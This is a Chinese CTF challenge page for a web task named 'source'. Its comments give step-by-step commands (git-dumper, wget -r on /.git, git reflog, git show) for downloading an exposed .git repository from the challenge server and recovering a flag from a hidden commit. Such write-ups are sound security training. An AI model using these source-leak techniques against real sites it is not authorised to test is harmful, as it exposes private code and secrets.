sourceWEB 未解决

分数: 20 金币: 3
题目作者: vFREE
一  血: dotast
一血奖励: 3金币
解  决: 14446
提  示:
描  述:
我哥说渗透我只用linux环境
评论
qq465881818 1月前

git-dumper http://160.202.254.160:15777/.git ./git_dump cd git_dump git cat-file -p 40c6d51:flag.txt

回复 1

longhaoze 1月前

利用站点.git目录泄露漏洞,通过wget命令完整下载仓库文件,逐一查看四次提交记录,排除三处虚假flag内容,提取第三次提交内保存的真实flag作为最终答案。

回复 2

我的刀盾 1月前

dirsearch扫描,用gittools拉取.git仓库,搜索flag相关内容,找到真正的flag。

回复 0

告别の记忆 2月前

挺有难度的,还得看评论区大佬们提示

回复 0

999哲111 2月前

flag{*********}

回复 0

聪仔草莓51 2月前

题名source+注释tig暗示.git泄露。注释base64是假flag(flag_not_here)。git-dumper拖仓库, git reflog找到隐藏提交40c6d51,git show出真flag

回复 2

New_wl 2月前

随波逐流Web安全工具粘贴地址,扫描结果,Git泄露检测,查看详情。出来好几个,最长的那个。

回复 0
粟春雨 8小时前

显示网站无法访问

回复 0

落花生 2月前

mkdir bugku_source; cd bugku_source; wget -r http://160.202.254.160:11449/.git; cd 160.202.254.160:11449; git reflog; git show 40c6d51 #真实flag就在这!!!

回复 2

xin_250 3月前

git checkout 40c6d51 错误:您对下列文件的本地修改将被检出操作覆盖: flag.txt 请在切换分支前提交或储藏您的修改。 为啥我会这样子,进不去

回复 1
漏洞在哪里 3月前

把checkout换成show,checkout是把它换到别的分支去,相当于你把电脑文件从A转到B,show就只是查看

回复 0

Solomon_Tom 3月前

下载安装git for Windows、git dumper、Python;cmd执行python git_dumper.py http://目标IP:端口/.git git_output;命令行cd到git_output目录;git log --oneline;git reflog查看隐藏的历史提交,对比上面的提交找出 ps.这个是英文

回复 0
123佳 2月前

@use jun 先确认是git源码泄露,然后下载git库,进入目录,执行git reflog,再执行git show commit哈希(一个一个试)

回复 0

use jun 2月前

除了这个还有其他的方法吗

回复 0

WriteUp

image
DarLing02

3 金币

评分(56)

解题动态

kobbydf 攻破了该题 6小时前
billyang2050 攻破了该题 6小时前
linweirui 攻破了该题 7小时前
chenxinmu 攻破了该题 8小时前
浪侠 攻破了该题 8小时前
xiaoxiaaaaa 攻破了该题 8小时前
ZhengMin3722 攻破了该题 9小时前
404 Lethe 攻破了该题 12小时前
机密甜美 攻破了该题 12小时前
qianshu 攻破了该题 17小时前
yzhs 攻破了该题 18小时前
lpp 攻破了该题 18小时前
9090909 攻破了该题 21小时前
liairfinly 攻破了该题 1天前
muhkter8 攻破了该题 1天前
傻傻的pz 攻破了该题 1天前
1078 攻破了该题 1天前
tterfly 攻破了该题 1天前
红眼残翅果蝇 攻破了该题 1天前
asasehotaru 攻破了该题 2天前
问题反馈